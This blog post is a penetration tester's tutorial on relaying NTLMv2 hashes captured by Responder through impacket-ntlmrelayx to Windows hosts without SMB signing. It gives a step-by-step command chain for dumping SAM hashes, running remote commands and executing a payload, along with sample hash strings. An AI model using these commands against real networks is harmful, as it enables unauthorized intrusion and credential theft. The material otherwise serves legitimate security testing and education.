It finally happened: you have used responder to capture hashes but failed to crack them. This post covers one more way you can use Responder to gain access anyway.

Just Give Me the Steps

If you are time poor here is just the steps:

• Find a list of hosts on the network that do not enforce SMB signing:

crackmapexec smb <File with ip ranges> --gen-relay-list targets.txt

• Edit /etc/responder/Responder.conf to set SMB and HTTP to “Off”.
• Start responder:

• Start NTLMRelayX which on Kali 2023 for me was:

impacket-ntlmrelayx -tf targets.txt

In this configuration NTLMRelayX will relay any NTLMv2 hashes it receives to one of the hosts with SMB signing disabled. It will attempt to dump the local SAM password hashes if those privileges were sufficient to do so. If the hash you relay has domain admin privileges then you are about to rain local password hashes.

The rest of this post is for those who want to understand.

Foundational Knowledge About Windows Hashes

The hashes caught by a simple “responder -I eth0” in its default configuration (with SMB and HTTP “on”) will likely be NTLMv2. They appear in the format like this:

[HTTP] NTLMv2 Client   : 192.168.154.131
[HTTP] NTLMv2 Username : MANGO\neo
[HTTP] NTLMv2 Hash     : neo::MANGO:1122334455667788:2F6CC22CFDC387CFEEB2D325E8997564:0101000000000000C79708D95F14D2011D717D511A761654000000000200060053004D0042000100160053004D0042002D0054004F004F004C004B00490054000400120073006D0062002E006C006F00630061006C000300280073006500720076006500720032003000300033002E0073006D0062002E006C006F00630061006C000500120073006D0062002E006C006F00630061006C0008003000300000000000000000000000001000001047325384B3A000DD5138E15668CB4F44DA5471DAF7A327B5B4E3C19DC485120A001000000000000000000000000000000000000900120048005400540050002F0077007000610064000000000000000000

Note: hash was stolen from https://zone13.io/post/cracking-ntlmv2-responses-captured-using-responder/ just to show the format.

These must be brute-forced before you can use them (turns out this is a lie but I am getting to that). Yessir you have to brute force them before you can use them to authenticate on demand is more accurate.

When you compromise a Windows machine and dump the SAM and SYSTEM hives you obtain hashes that look like this:

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Note: hash was stolen from https://medium.com/@benichmt1/secretsdump-demystified-bfd0f933dd9b just to show the format.

What the tool secretsdump has labelled “nthash” is actually an NTLM hash. You can clearly see the formats are wildly different which is the point I am making.

The SAM hashes are for local users on the compromised computer whereas responder has retrieved NTLMv2 hashes which are most likely Windows domain user credentials. These are different authentication realms:

• Gain access to local users and you can logon only to that one computer.
• Gain access to a domain user account and you can likely logon to anything on the domain.

The other thing to note is that local NTLM hashes DO NOT need to be cracked before you can use them. You can use the Pass-the-hash technique to authenticate to the server locally using only the hash.

This is extremely powerful and if the target organisation re-use the same local user password across all their machines then you have just gained a foothold on lots of machines.

Enter NTLM hash relaying

So it happened that you caught some juicy NTLMv2 hashes but you were unable to crack them right? Then you found this page.

NTLM hash relaying allows you to effectively do something similar to “pass-the-hash” but it is not identical. In pass the hash you use modified versions of the protocol client to insert the hash at the right part of the authentication process ANY TIME YOU WANT TO.

With NTLM hash relaying you are WAITING for a legitimate network user to send their hash on the same network segment as you. Responder will poison local Windows protocols that act like DNS so that this hash is redirected to you. You then use Impacket’s NTLMRelayX tool to redirect that hash at a server which does not enforce SMB Signing.

Pre-requisites for success:

1. Windows PCs must be configured to broadcast LLMNR, NBT-NS, or MDNS protocols.
2. You must control a PC on that network segment with Responder and Impacket NTLMRelayX installed.
3. Some Windows PCs must not enforce SMB Signing. It is maybe worth mentioning that they can support SMB signing if the client does sign it they will accept it if it hasn’t been tampered with. But it must not reject unsigned requests.

If you have all of these then you can use the commands I shared up at the top to conduct the basic relaying attack.

What next?

As we said up top the default “payload” is to try and use the relayed privileges to dump the SAM passwords. This would obviously rely on the privileges of the relayed hash being able to do that. If the customer hashes you are redirecting are low privileged then you will not be able to do that.

At this point you should deep dive into the man page for NTLMRelayX with “-h”. I have pulled out some useful bits:

impacket-ntlmrelayx -h

-c COMMAND            Command to execute on target system (for SMB and RPC). If not specified for SMB, hashes will be dumped (secretsdump.py must be in the same directory). For RPC no output will be
                        provided.

-e FILE               File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory)

I think you can only set one of the “-c” or “-e” options at a time. Both of them override the default behaviour which is to run “secretsdump” as we have said a few times in this post already to obtain local password hashes.

If you just want a basic proof of concept that some form of command execution was possible then “-c” is easiest:

impacket-ntlmrelayx -tf targets.txt -c "whoami"
impacket-ntlmrelayx -tf targets.txt -c "net user"

For most penetration testing activities this will suffice. You will have proved that you relayed the hash and confirmed the username of your victim, and that they can execute commands remotely. The customer cannot deny it worked and you can crack on with something else.

If you want to establish yourself in your C2 with whatever privileges you land on then “-e” is the way to go. You would have to create an exe that does whatever you need it to and ensure that it bypasses whatever endpoint protection is on the target yourself. It works exactly as you would expect:

impacket-ntlmrelayx -tf targets.txt -e payload.exe

There is one more option that I held back so I could discuss this on its own:

-i, --interactive Launch an smbclient, LDAP console or SQL shell insteadof executing a command after a successful relay. This console will listen locally on a tcp port and can be reached with<br>for example netcat.

I did not run this on my engagement so I didn’t see it in action. If I understand this correctly it is going to try and start a bind shell on any vulnerable PC. You would then be able to use netcat to connect to that and gain interactive command prompt access so I am guessing when it does this is spits out the IP and port for you to know where to go.

While this sounds amazing use this with caution. You would be providing an obvious unauthenticated backdoor onto a system. If you do not remember to close this you will have left the network more vulnerable than when you started which is not the goal of a penetration test.